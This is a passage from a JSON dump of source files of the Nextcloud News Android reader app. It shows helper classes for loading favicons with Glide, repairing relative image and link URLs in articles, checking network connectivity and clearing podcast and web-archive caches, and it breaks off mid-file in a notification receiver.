FavIconHandler.getResourceIdForRightDefaultFeedIcon();\n        mContext = context;\n        mGlide = Glide.with(context);\n    }\n\n    public <T extends Drawable> void loadFavIconForFeed(@Nullable String favIconUrl, ImageView imgView) {\n        RequestOptions requestOptions = new RequestOptions();\n        requestOptions = requestOptions.transforms(new RoundedCorners(6));\n\n        if (favIconUrl == null) {\n            mGlide\n                    .load(mPlaceHolder)\n                    .apply(requestOptions)\n                    .into(imgView);\n        } else {\n            mGlide\n                    .load(favIconUrl)\n                    .diskCacheStrategy(DiskCacheStrategy.DATA)\n                    .placeholder(mPlaceHolder)\n                    .error(mPlaceHolder)\n                    .apply(requestOptions)\n                    .onlyRetrieveFromCache(true) // disable loading of favicons from network (usually those favicons are broken)\n                    .into(imgView);\n        }\n    }\n\n    boolean isSVG(String url) {\n        return url.contains(\"svg\");\n    }\n\n    /**\n     * Version of loadFacIconForFeed that applies a vertical offset to the icon ImageView,\n     * to compensate for font size scaling alignment issue\n     *\n     * @param favIconUrl URL of icon to load/display\n     * @param imgView    ImageView object to use for icon display\n     * @param offset     Y translation to apply to ImageView\n     */\n    public void loadFavIconForFeed(String favIconUrl, ImageView imgView, int offset) {\n        loadFavIconForFeed(favIconUrl, imgView);\n        imgView.setTranslationY(offset);\n    }\n\n    public static int getResourceIdForRightDefaultFeedIcon() {\n        if (ThemeChooser.getSelectedTheme().equals(ThemeChooser.THEME.LIGHT)) {\n            return R.drawable.default_feed_icon_dark;\n        } else {\n            return R.drawable.default_feed_icon_light;\n        }\n    }\n\n    public void preCacheFavIcon(final Feed feed) throws IllegalStateException {\n        if (feed.getFaviconUrl() == null) {\n            Log.v(TAG, \"No favicon for \" + feed.getFeedTitle());\n            return;\n        }\n\n        String favIconUrl = feed.getFaviconUrl();\n\n        // pre caching doesn't work for SVG icons\n        if (isSVG(favIconUrl)) {\n            return;\n        }\n\n        // Log.v(TAG, \"Pre caching favicon: \" + favIconUrl);\n\n        mGlide\n                .asBitmap()\n                .load(favIconUrl)\n                .diskCacheStrategy(DiskCacheStrategy.DATA)\n                .apply(RequestOptions.overrideOf(Target.SIZE_ORIGINAL))\n                .into(new SimpleTarget<Bitmap>() {\n                    @Override\n                    public void onResourceReady(@NonNull Bitmap resource, @Nullable Transition<? super Bitmap> transition) {\n                        UpdateAvgColorOfFeed(feed.getId(), resource, mContext);\n                        Log.d(TAG, \"Successfully downloaded image for url: \" + favIconUrl);\n            }\n\n            @Override\n            public void onLoadFailed(@Nullable Drawable errorDrawable) {\n                super.onLoadFailed(errorDrawable);\n                Log.d(TAG, \"Failed to download image for url: \" + favIconUrl);\n            }\n        });\n    }\n\n    private void UpdateAvgColorOfFeed(long feedId, Bitmap bitmap, Context context) {\n        if (bitmap != null) {\n            DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(context);\n            Feed feed = dbConn.getFeedById(feedId);\n            Palette palette = Palette.from(bitmap).generate();\n            String avg = String.valueOf(\n                    palette.getVibrantColor(ContextCompat.getColor(context, androidx.appcompat.R.color.material_blue_grey_800))\n            );\n            feed.setAvgColour(avg);\n            dbConn.updateFeed(feed);\n\n            // Log.v(TAG, \"Updating AVG color of feed: \" + feed.getFeedTitle() + \" - Color: \" + avg);\n        } else {\n            Log.v(TAG, \"Failed to update AVG color of feed: \" + feedId);\n        }\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/helper/FavIconUtils.java",
    "content": "package de.luhmer.owncloudnewsreader.helper;\n\nimport java.io.UnsupportedEncodingException;\nimport java.net.URLDecoder;\nimport java.nio.charset.StandardCharsets;\n\npublic class FavIconUtils {\n\n    private static final String TAG = FavIconUtils.class.getCanonicalName();\n\n    public static String fixFavIconUrl(String favIconUrl) {\n        if (favIconUrl == null) {\n            return null;\n        }\n\n        if (favIconUrl.startsWith(\"https://i2.wp.com/stadt-bremerhaven.de/wp-content/uploads/2014/12/logo\")) {\n            // Fix favicon for cachys blog...\n            return \"https://stadt-bremerhaven.de/wp-content/uploads/2018/08/sblogo-150x150.jpg\";\n        }\n        return favIconUrl;\n\n        /*\n        try {\n            favIconUrl = decodeSpecialChars(favIconUrl);\n        }catch(Exception ex) {\n            Log.e(TAG, ex.toString());\n        }\n        return fixSvgIcons(favIconUrl);\n        */\n    }\n\n    protected static String decodeSpecialChars(String favIconUrl) throws UnsupportedEncodingException {\n\n        String before = favIconUrl;\n        int idx = favIconUrl.indexOf(\"?\");\n        String path = favIconUrl;\n        if(idx > 0) {\n            path = favIconUrl.substring(0, idx);\n        }\n        favIconUrl = favIconUrl.replace(path, URLDecoder.decode(path, StandardCharsets.UTF_8.name()));\n\n        /*\n        URL url = Objects.requireNonNull(HttpUrl.parse(favIconUrl)).url();\n\n        String pathDecoded = URLDecoder.decode(url.getPath(), StandardCharsets.UTF_8.name());\n        String portPostfix = (url.getPort() != -1) ? String.valueOf(url.getPort()) : \"\";\n\n        // some urls use specials chars which for some reason cause issues in Glide\n        // e.g.\n        // https://i2.wp.com/stadt-bremerhaven.de/wp-content/uploads/2014/12/logo-gro%C3%9F-549c81bbv1_site_icon.png?fit=32%2C32\n        // https://i2.wp.com//stadt-bremerhaven.de/wp-content/uploads/2014/12/logo-groß-549c81bbv1_site_icon.png?fit=32%2C32\n\n        favIconUrl = String.format(\"%s://%s%s/%s\", url.getProtocol(), url.getHost(), portPostfix, pathDecoded);\n\n\n        if(url.getQuery() != null) {\n            favIconUrl = favIconUrl + \"?\" + url.getQuery();\n        }\n\n        */\n        //Log.d(TAG, \"before: \" + before);\n        //Log.d(TAG, \"after: \" + favIconUrl);\n\n        return favIconUrl;\n    }\n\n    protected static String fixSvgIcons(String favIconUrl) {\n        if(favIconUrl.endsWith(\".svg\")) {\n            favIconUrl = String.format(\"https://images.weserv.nl?url=%s&output=webp\", favIconUrl);\n        }\n        return favIconUrl;\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/helper/ForegroundListener.kt",
    "content": "package de.luhmer.owncloudnewsreader.helper\n\nimport android.app.Activity\nimport android.app.Application.ActivityLifecycleCallbacks\nimport android.os.Bundle\n\nclass ForegroundListener : ActivityLifecycleCallbacks {\n    override fun onActivityCreated(\n        activity: Activity,\n        savedInstanceState: Bundle?,\n    ) {\n        // do nothing\n    }\n\n    override fun onActivityStarted(activity: Activity) {\n        numStarted++\n    }\n\n    override fun onActivityResumed(activity: Activity) {\n        // do nothing\n    }\n\n    override fun onActivityPaused(activity: Activity) {\n        // do nothing\n    }\n\n    override fun onActivityStopped(activity: Activity) {\n        numStarted--\n    }\n\n    override fun onActivitySaveInstanceState(\n        activity: Activity,\n        outState: Bundle,\n    ) {\n        // do nothing\n    }\n\n    override fun onActivityDestroyed(activity: Activity) {\n        // do nothing\n    }\n\n    companion object {\n        private var numStarted = 0\n        val isInForeground: Boolean\n            get() = numStarted > 0\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/helper/GsonConfig.java",
    "content": "package de.luhmer.owncloudnewsreader.helper;\n\nimport com.google.gson.Gson;\nimport com.google.gson.GsonBuilder;\nimport com.google.gson.reflect.TypeToken;\n\nimport java.lang.reflect.Type;\nimport java.util.List;\n\nimport de.luhmer.owncloudnewsreader.database.model.Feed;\nimport de.luhmer.owncloudnewsreader.database.model.Folder;\nimport de.luhmer.owncloudnewsreader.database.model.RssItem;\nimport de.luhmer.owncloudnewsreader.model.OcsUser;\nimport de.luhmer.owncloudnewsreader.reader.nextcloud.NextcloudNewsDeserializer;\nimport de.luhmer.owncloudnewsreader.reader.nextcloud.NextcloudServerDeserializer;\nimport de.luhmer.owncloudnewsreader.reader.nextcloud.Types;\n\n/**\n * Created by david on 27.06.17.\n */\n\npublic class GsonConfig {\n\n    public static Gson GetGson() {\n        Type feedList = new TypeToken<List<Feed>>() {}.getType();\n        Type folderList = new TypeToken<List<Folder>>() {}.getType();\n        Type rssItemsList = new TypeToken<List<RssItem>>() {}.getType();\n        Type ocsUser = new TypeToken<OcsUser>() {}.getType();\n\n        // Info: RssItems are handled as a stream (to be more memory efficient - see @OwnCloudSyncService and @RssItemObservable)\n        return new GsonBuilder()\n                .setLenient()\n                .registerTypeAdapter(folderList,   new NextcloudNewsDeserializer<>(Types.FOLDERS.toString(), Folder.class))\n                .registerTypeAdapter(feedList,     new NextcloudNewsDeserializer<>(Types.FEEDS.toString(), Feed.class))\n                .registerTypeAdapter(rssItemsList, new NextcloudNewsDeserializer<>(Types.ITEMS.toString(), RssItem.class))\n                .registerTypeAdapter(ocsUser,      new NextcloudServerDeserializer<>(\"ocsUser\", OcsUser.class))\n                .create();\n    }\n\n}"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/helper/ImageDownloadFinished.java",
    "content": "/*\n* Android ownCloud News\n*\n* @author David Luhmer\n* @copyright 2013 David Luhmer david-dev@live.de\n*\n* This library is free software; you can redistribute it and/or\n* modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n* License as published by the Free Software Foundation; either\n* version 3 of the License, or any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n*\n* You should have received a copy of the GNU Affero General Public\n* License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n*\n*/\n\npackage de.luhmer.owncloudnewsreader.helper;\n\n\nimport android.graphics.Bitmap;\n\npublic interface ImageDownloadFinished {\n\tvoid DownloadFinished(Bitmap bitmap);\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/helper/ImageHandler.java",
    "content": "/*\n* Android ownCloud News\n*\n* @author David Luhmer\n* @copyright 2013 David Luhmer david-dev@live.de\n*\n* This library is free software; you can redistribute it and/or\n* modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n* License as published by the Free Software Foundation; either\n* version 3 of the License, or any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n*\n* You should have received a copy of the GNU Affero General Public\n* License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n*\n*/\n\npackage de.luhmer.owncloudnewsreader.helper;\n\nimport android.content.Context;\nimport android.util.Log;\n\nimport com.bumptech.glide.Glide;\n\nimport java.net.MalformedURLException;\nimport java.net.URL;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\npublic class ImageHandler {\n    private static final String TAG = \"[ImageHandler]\";\n    private static final Pattern patternImg = Pattern.compile(\"<img[^>]*>\");\n    private static final Pattern patternImgSrcLink = Pattern.compile(\"src=\\\"(.*?)\\\"\");\n    private static final Pattern patternHref = Pattern.compile(\"<a[^>]*>\");\n    private static final Pattern patternHrefLink = Pattern.compile(\"href=\\\"(.*?)\\\"\");\n\n    public static List<String> getImageLinksFromText(String articleUrl, String text) {\n\t\tList<String> links = new ArrayList<>();\n\n\t\tMatcher matcher = patternImg.matcher(text);\n\t    // Check all occurrences\n\t    while (matcher.find()) {\n\t    \tMatcher matcherSrcLink = patternImgSrcLink.matcher(matcher.group());\n\t    \tif(matcherSrcLink.find()) {\n                String link = matcherSrcLink.group(1);\n\n                if (link != null) {\n                    if (link.startsWith(\"//\")) { //Maybe the text contains image urls without http or https prefix.\n                        link = \"https:\" + link;\n                    }\n\n                    // the android universal image loader doesn't support svg images. Therefore we don't want to load them through UIL\n                    if (link.endsWith(\".svg\")) {\n                        Log.d(TAG, \"detected unsupported svg image in article: \" + articleUrl + \" -> \" + link);\n                    } else {\n                        links.add(link);\n                    }\n                }\n\t    \t}\n\t    }\n\t    return links;\n\t}\n\n    public static String fixBrokenImageLinksInArticle(String articleUrl, String text) {\n        return fixBrokenLinkInArticle(articleUrl, text, patternImg, patternImgSrcLink, \"src\");\n    }\n\n    public static String fixBrokenHrefInArticle(String articleUrl, String text) {\n        return fixBrokenLinkInArticle(articleUrl, text, patternHref, patternHrefLink, \"href\");\n    }\n\n    public static String fixBrokenLinkInArticle(String articleUrl, String text, Pattern matcherElement, Pattern matcherLink, String htmlAttribut) {\n        Matcher matcher = matcherElement.matcher(text);\n        // Check all occurrences\n        while (matcher.find()) {\n            Matcher matcherSrcLink = matcherLink.matcher(matcher.group());\n            if(matcherSrcLink.find()) {\n                String link = matcherSrcLink.group(1);\n                String originalLink = link;\n                String originalArticleUrl = articleUrl;\n                if(link != null) {\n                    if(link.startsWith(\"//\")) { //Maybe the text contains image urls without http or https prefix.\n                        // System.out.println(\"CASE_MISSING_PROTOCOL\");\n                        link = \"https:\" + link;\n                    } else if (link.startsWith(\"/\")) { // detected absolute url\n                        // System.out.println(\"CASE_ABSOLUTE_URL\");\n                        try {\n                            URL uri = new URL(articleUrl);\n                            String protocol = uri.getProtocol();\n                            String authority = uri.getAuthority();\n                            link = String.format(\"%s://%s\", protocol, authority) + link;\n                        } catch (MalformedURLException e) {\n                            e.printStackTrace();\n                            Log.e(TAG, e.toString());\n                        }\n                    } else {\n                        // check if we have relative urls such as\n                        // ./abc.jpeg or ./../abc.jpeg, ../abc.jpeg or ../../abc.jpeg\n                        boolean linkNeedsHost = false;\n                        if(link.startsWith(\"./\")) {\n                            //Log.d(TAG, \"fix relative url (remove ./ in front)\");\n                            link = link.substring(2); // remove ./ from link\n                            linkNeedsHost = true;\n                        }\n\n                        // if link is relative without anything else in front (e.g. pix/wow.svg)\n                        if(!link.startsWith(\"http\") && !link.startsWith(\".\") && !\"about:blank\".equals(articleUrl)) {\n                            if(!link.contains(\"/\")) {\n                                // could be just a domain name or a reference to a file in the same directory (either way we should leave it as it is)\n                                //System.out.println(\"CASE_RELATIVE_DOMAIN_OR_FILE\");\n                            } else {\n                                String lastPartOfUrl = getFileName(link);\n\n                                // the link ends with a filname (e.g. \"test.jpg\") - therefore we can assume that it is a relative url\n                                if(lastPartOfUrl.contains(\".\")) {\n                                    if(!articleUrl.endsWith(\"/\")) {\n                                        // the article contains a file in the end (doesn't end with \"/\") - therefore we need to remove the last part of the article URL\n                                        // System.out.println(\"CASE_RELATIVE_FILE_END\");\n                                        // remove last part of article url to get a relative url\n                                        articleUrl = sliceLastPathOfUrl(articleUrl);\n                                        linkNeedsHost = true;\n                                    } else {\n                                        // article URL ends with a \"/\" so we can just append it\n                                        // System.out.println(\"CASE_RELATIVE_ADD_HOST\");\n                                        linkNeedsHost = true;\n                                    }\n                                } else {\n                                    // in case we have an url such as astralcodexten.substack.com/subscribe we assume that it is a path and we should not modify it\n                                    // System.out.println(\"CASE_RELATIVE_DOMAIN_SUBPATH\");\n                                }\n                            }\n                        }\n\n                        // in case the article url is of type articles/matrix-vs-xmpp.html we need to remove the file plus the first part of the url\n                        if(link.startsWith(\"../\") && !articleUrl.endsWith(\"/\")) {\n                            // System.out.println(\"CASE_RELATIVE_PARENT\");\n                            linkNeedsHost = true;\n                            articleUrl = sliceLastPathOfUrl(articleUrl);\n                            articleUrl = sliceLastPathOfUrl(articleUrl);\n                            link = link.substring(3); // remove ../ from link\n                        }\n\n                        // if the article urls ends with an / we can just remove it piece by piece\n                        while(link.startsWith(\"../\")) {\n                            // System.out.println(\"CASE_RELATIVE_PARENT\");\n                            linkNeedsHost = true;\n                            articleUrl = sliceLastPathOfUrl(articleUrl);\n                            link = link.substring(3); // remove ../ from link\n                        }\n\n                        if(linkNeedsHost) {\n                            // concat article url + link (and make sure that we have only one /)\n                            if(articleUrl.endsWith(\"/\")) {\n                                link = articleUrl + link;\n                            } else {\n                                link = articleUrl + \"/\" + link;\n                            }\n                        }\n                    }\n                }\n\n                if(!originalLink.equals(link)) {\n                    // String l = \"Fixed link in article: \" + originalArticleUrl + \": \" + originalLink + \" -> \" + link;\n                    // Log.d(TAG, l);\n                    // text = text.replaceAll(originalLink, link); // this causes OutOfMemoryExceptions (https://github.com/nextcloud/news-android/issues/1055)\n\n                    Pattern URL_PATTERN = Pattern.compile(String.format(\"%s=\\\"%s\\\"\", htmlAttribut, originalLink));\n                    Matcher urlMatcher = URL_PATTERN.matcher(text);\n                    text = urlMatcher.replaceAll(String.format(\"%s=\\\"%s\\\"\", htmlAttribut, link));\n                }\n            }\n        }\n        return text;\n    }\n\n    private static String sliceLastPathOfUrl(String url) {\n\t    int idx = url.lastIndexOf(\"/\");\n        int countOfSlashes = url.split(\"/\").length - 1;\n        // Log.d(TAG, url + \" \" + countOfSlashes);\n        // make sure we don't count into the domain name (at least two slashes for ://)\n\t    if(idx > 0 && countOfSlashes > 2) {\n            return url.substring(0, idx);\n        } else {\n\t        return url;\n        }\n    }\n\n    private static String getFileName(String url) {\n        int idx = url.lastIndexOf(\"/\");\n        int countOfSlashes = url.split(\"/\").length - 1;\n        if(idx > 0) {\n            return url.substring(idx);\n        } else {\n            return url;\n        }\n    }\n\n    public static void clearCache(Context context)\n    {\n        Glide.get(context).clearMemory();\n        Glide.get(context).clearDiskCache();\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/helper/NetworkConnection.java",
    "content": "/*\n* Android ownCloud News\n*\n* @author David Luhmer\n* @copyright 2013 David Luhmer david-dev@live.de\n*\n* This library is free software; you can redistribute it and/or\n* modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n* License as published by the Free Software Foundation; either\n* version 3 of the License, or any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n*\n* You should have received a copy of the GNU Affero General Public\n* License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n*\n*/\n\npackage de.luhmer.owncloudnewsreader.helper;\n\nimport android.content.Context;\nimport android.net.ConnectivityManager;\nimport android.net.NetworkInfo;\n\npublic class NetworkConnection {\n\tpublic static boolean isNetworkAvailable(Context context) {\n\t    ConnectivityManager connectivityManager \n\t          = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);\n\t    NetworkInfo activeNetworkInfo = connectivityManager.getActiveNetworkInfo();\n\t    return activeNetworkInfo != null && activeNetworkInfo.isConnected();\n\t}\n\t\n\tpublic static boolean isWLANConnected(Context context) {\n\t    ConnectivityManager connectivityManager \n\t          = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);\n\n\t    NetworkInfo activeNetworkInfo = connectivityManager.getActiveNetworkInfo();\n\t    return activeNetworkInfo != null && activeNetworkInfo.getType() == ConnectivityManager.TYPE_WIFI && activeNetworkInfo.isConnected();\n\t}\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/helper/NewsFileUtils.java",
    "content": "/*\n* Android ownCloud News\n*\n* @author David Luhmer\n* @copyright 2013 David Luhmer david-dev@live.de\n*\n* This library is free software; you can redistribute it and/or\n* modify it under the terms of the GNU AFFERO GENERAL PUBLIC LICENSE\n* License as published by the Free Software Foundation; either\n* version 3 of the License, or any later version.\n*\n* This library is distributed in the hope that it will be useful,\n* but WITHOUT ANY WARRANTY; without even the implied warranty of\n* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n* GNU AFFERO GENERAL PUBLIC LICENSE for more details.\n*\n* You should have received a copy of the GNU Affero General Public\n* License along with this library.  If not, see <http://www.gnu.org/licenses/>.\n*\n*/\n\npackage de.luhmer.owncloudnewsreader.helper;\n\nimport android.content.Context;\nimport android.os.Environment;\nimport android.util.Log;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.nio.channels.FileChannel;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.stream.Collectors;\n\nimport de.luhmer.owncloudnewsreader.services.DownloadWebPageService;\nimport de.luhmer.owncloudnewsreader.services.PodcastDownloadService;\n\npublic class NewsFileUtils {\n    private static final String TAG = NewsFileUtils.class.getCanonicalName();\n\n    /**\n     * Creates the specified <code>toFile</code> as a byte for byte copy of the\n     * <code>fromFile</code>. If <code>toFile</code> already exists, then it\n     * will be replaced with a copy of <code>fromFile</code>. The name and path\n     * of <code>toFile</code> will be that of <code>toFile</code>.<br/>\n     * <br/>\n     * <i> Note: <code>fromFile</code> and <code>toFile</code> will be closed by\n     * this function.</i>\n     *\n     * @param fromFile\n     *            - FileInputStream for the file to copy from.\n     * @param toFile\n     *            - FileInputStream for the file to copy to.\n     */\n    public static void copyFile(FileInputStream fromFile, FileOutputStream toFile) throws IOException {\n        FileChannel fromChannel = null;\n        FileChannel toChannel = null;\n        try {\n            fromChannel = fromFile.getChannel();\n            toChannel = toFile.getChannel();\n            fromChannel.transferTo(0, fromChannel.size(), toChannel);\n        } finally {\n            try {\n                if (fromChannel != null) {\n                    fromChannel.close();\n                }\n            } finally {\n                if (toChannel != null) {\n                    toChannel.close();\n                }\n            }\n        }\n    }\n\n\n    public static boolean deletePodcastFile(Context context, String fingerprint, String url) {\n        try {\n            File file = new File(PodcastDownloadService.getUrlToPodcastFile(context, fingerprint, url, false));\n            if(file.exists())\n                return file.delete();\n        } catch (Exception ex) {\n            ex.printStackTrace();\n        }\n        return false;\n    }\n\n    public static boolean clearPodcastCache(Context context) {\n        try {\n            File dir = new File(getPathPodcasts(context));\n            deleteDirectory(dir);\n        } catch (IOException ex) {\n            Log.e(TAG, \"Error while deleting podcasts\", ex);\n        }\n        return false;\n    }\n\n    public static void clearWebArchiveCache(Context context) {\n        getWebPageArchiveStorage(context).mkdirs();\n\n        String path = getWebPageArchiveStorage(context).getAbsolutePath();\n        Log.d(\"Files\", \"Path: \" + path);\n        File directory = new File(path);\n        File[] files = directory.listFiles();\n        Log.d(\"Files\", \"Size: \" + files.length);\n        for (File file : files) {\n            String name = file.getName();\n            //og.d(\"Files\", \"FileName: \" + file.getName());\n            if (name.startsWith(DownloadWebPageService.WebArchiveFinalPrefix)) {\n                Log.v(TAG, \"Deleting file: \" + name);\n                //file.delete();\n            }\n        }\n    }\n\n    public static String getCacheDirPath(Context context) {\n        //return context.getCacheDir().getAbsolutePath();\n        return context.getExternalCacheDir().getAbsolutePath();\n    }\n\n    public static String getPathPodcasts(Context context) {\n        return context.getExternalFilesDir(Environment.DIRECTORY_MUSIC).getAbsolutePath()+ \"/podcasts\";\n    }\n\n    public static File getWebPageArchiveStorage(Context context) {\n        return new File(NewsFileUtils.getCacheDirPath(context), \"web-archive/\");\n    }\n\n    public static boolean isExternalStorageWritable() {\n        String state = Environment.getExternalStorageState();\n        return Environment.MEDIA_MOUNTED.equals(state);\n    }\n\n\n    /*\n    Method below are copied from https://github.com/apache/commons-io/blob/master/src/main/java/org/apache/commons/io/FileUtils.java\n     */\n\n    /**\n     * Deletes a directory recursively.\n     *\n     * @param directory directory to delete\n     * @throws IOException              in case deletion is unsuccessful\n     * @throws IllegalArgumentException if {@code directory} does not exist or is not a directory\n     */\n    public static void deleteDirectory(final File directory) throws IOException {\n        if (!directory.exists()) {\n            return;\n        }\n\n        cleanDirectory(directory);\n\n        if (!directory.delete()) {\n            final String message =\n                    \"Unable to delete directory \" + directory + \".\";\n            throw new IOException(message);\n        }\n    }\n\n\n    /**\n     * Lists files in a directory, asserting that the supplied directory satisfies exists and is a directory\n     * @param directory The directory to list\n     * @return The files in the directory, never null.\n     * @throws IOException if an I/O error occurs\n     */\n    private static File[] verifiedListFiles(final File directory) throws IOException {\n        if (!directory.exists()) {\n            final String message = directory + \" does not exist\";\n            throw new IllegalArgumentException(message);\n        }\n\n        if (!directory.isDirectory()) {\n            final String message = directory + \" is not a directory\";\n            throw new IllegalArgumentException(message);\n        }\n\n        final File[] files = directory.listFiles();\n        if (files == null) {  // null if security restricted\n            throw new IOException(\"Failed to list contents of \" + directory);\n        }\n        return files;\n    }\n\n    /**\n     * Cleans a directory without deleting it.\n     *\n     * @param directory directory to clean\n     * @throws IOException              in case cleaning is unsuccessful\n     * @throws IllegalArgumentException if {@code directory} does not exist or is not a directory\n     */\n    public static void cleanDirectory(final File directory) throws IOException {\n        final File[] files = verifiedListFiles(directory);\n\n        IOException exception = null;\n        for (final File file : files) {\n            try {\n                forceDelete(file);\n            } catch (final IOException ioe) {\n                exception = ioe;\n            }\n        }\n\n        if (null != exception) {\n            throw exception;\n        }\n    }\n\n    /**\n     * Deletes a file. If file is a directory, delete it and all sub-directories.\n     * <p>\n     * The difference between File.delete() and this method are:\n     * <ul>\n     * <li>A directory to be deleted does not have to be empty.</li>\n     * <li>You get exceptions when a file or directory cannot be deleted.\n     * (java.io.File methods returns a boolean)</li>\n     * </ul>\n     *\n     * @param file file or directory to delete, must not be {@code null}\n     * @throws NullPointerException  if the directory is {@code null}\n     * @throws FileNotFoundException if the file was not found\n     * @throws IOException           in case deletion is unsuccessful\n     */\n    public static void forceDelete(final File file) throws IOException {\n        if (file.isDirectory()) {\n            deleteDirectory(file);\n        } else {\n            final boolean filePresent = file.exists();\n            if (!file.delete()) {\n                if (!filePresent) {\n                    throw new FileNotFoundException(\"File does not exist: \" + file);\n                }\n                final String message =\n                        \"Unable to delete file: \" + file;\n                throw new IOException(message);\n            }\n        }\n    }\n\n    public static String[] getDownloadedPodcastsFingerprints(Context context) {\n        File folder = new File(NewsFileUtils.getPathPodcasts(context));\n        File[] files = folder.listFiles();\n        if (files == null) {\n            return new String[0];\n        }\n        List<String> ids = Arrays.stream(files).map(File::getName).collect(Collectors.toList());\n        return ids.toArray(new String[0]);\n    }\n\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/helper/NextcloudGlideModule.kt",
    "content": "package de.luhmer.owncloudnewsreader.helper\n\nimport android.content.Context\nimport android.content.SharedPreferences\nimport android.graphics.drawable.PictureDrawable\nimport com.bumptech.glide.Glide\nimport com.bumptech.glide.GlideBuilder\nimport com.bumptech.glide.Registry\nimport com.bumptech.glide.annotation.GlideModule\nimport com.bumptech.glide.load.engine.cache.InternalCacheDiskCacheFactory\nimport com.bumptech.glide.module.AppGlideModule\nimport com.bumptech.glide.samples.svg.SvgDecoder\nimport com.bumptech.glide.samples.svg.SvgDrawableTranscoder\nimport com.caverock.androidsvg.SVG\nimport de.luhmer.owncloudnewsreader.NewsReaderApplication\nimport de.luhmer.owncloudnewsreader.SettingsActivity\nimport de.luhmer.owncloudnewsreader.di.ApiProvider\nimport java.io.InputStream\nimport javax.inject.Inject\n\nprivate const val CACHE_SIZE = 500\n\nprivate const val KB = 1024\nprivate const val MB = 1024 * KB\n\n@GlideModule\nclass NextcloudGlideModule : AppGlideModule() {\n    @Inject\n    lateinit var mApi: ApiProvider\n\n    @Inject\n    lateinit var mPrefs: SharedPreferences\n\n    override fun applyOptions(\n        context: Context,\n        builder: GlideBuilder,\n    ) {\n        super.applyOptions(context, builder)\n        (context.applicationContext as NewsReaderApplication).appComponent.injectGlideModule(this)\n        val cacheSize = mPrefs.getString(SettingsActivity.SP_MAX_CACHE_SIZE, CACHE_SIZE.toString())\n        val diskCacheSizeBytes = (cacheSize?.toInt() ?: CACHE_SIZE) * MB\n\n        // Glide uses DiskLruCacheWrapper as the default DiskCache. DiskLruCacheWrapper is a fixed\n        // size disk cache with LRU eviction. The default disk cache size is 250 MB and is placed\n        // in a specific directory in the Application’s cache folder.\n        builder.setDiskCache(InternalCacheDiskCacheFactory(context, diskCacheSizeBytes.toLong()))\n        // builder.setDiskCache(ExternalPreferredCacheDiskCacheFactory(context))\n\n        // #00ff00 Memory Cache (Green)\n        // #0066ff Disk Cache (Blue)\n        // #ff0000 Remote (Red)\n        // #ffff00 Local (Yellow)\n\n        // enable caching indicators for Glide\n        // builder.setDefaultTransitionOptions(\n        //         Drawable::class.java,\n        //         DrawableTransitionOptions.with(DebugIndicatorTransitionFactory.DEFAULT)\n        // )\n    }\n\n    override fun registerComponents(\n        context: Context,\n        glide: Glide,\n        registry: Registry,\n    ) {\n        super.registerComponents(context, glide, registry)\n        registry\n            .register(SVG::class.java, PictureDrawable::class.java, SvgDrawableTranscoder())\n            .append(InputStream::class.java, SVG::class.java, SvgDecoder())\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/helper/NotificationActionReceiver.java",
    "content": "package de.luhmer.owncloudnewsreader.helper;\n\nimport android.app.NotificationManager;\nimport android.content.BroadcastReceiver;\nimport android.content.Context;\nimport android.content.Intent;\nimport android.os.Build;\nimport android.util.Log;\n\nimport androidx.annotation.RequiresApi;\n\nimport org.greenrobot.eventbus.EventBus;\n\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.services.events.SyncFinishedEvent;\n\nimport static android.app.Notification.EXTRA_NOTIFICATION_ID;\nimport static de.luhmer.owncloudnewsreader.Constants.NOTIFICATION_ACTION_MARK_ALL_AS_READ_STRING;\n\npublic class NotificationActionReceiver extends BroadcastReceiver {\n    private static final String TAG = NotificationActionReceiver.class.getCanonicalName();\n\n    @RequiresApi(api = Build.VERSION_CODES.O)\n    @Override\n    public void onReceive(Context context, Intent intent) {\n        String action = intent.getAction();\n        if (NOTIFICATION_ACTION_MARK_ALL_AS_READ_STRING.equals(action)) {\n            DatabaseConnectionOrm dbConn = new DatabaseConnectionOrm(context);\n            Log.d(TAG, \"NOTIFICATION_ACTION_MARK_ALL_AS_READ_STRING\");\n            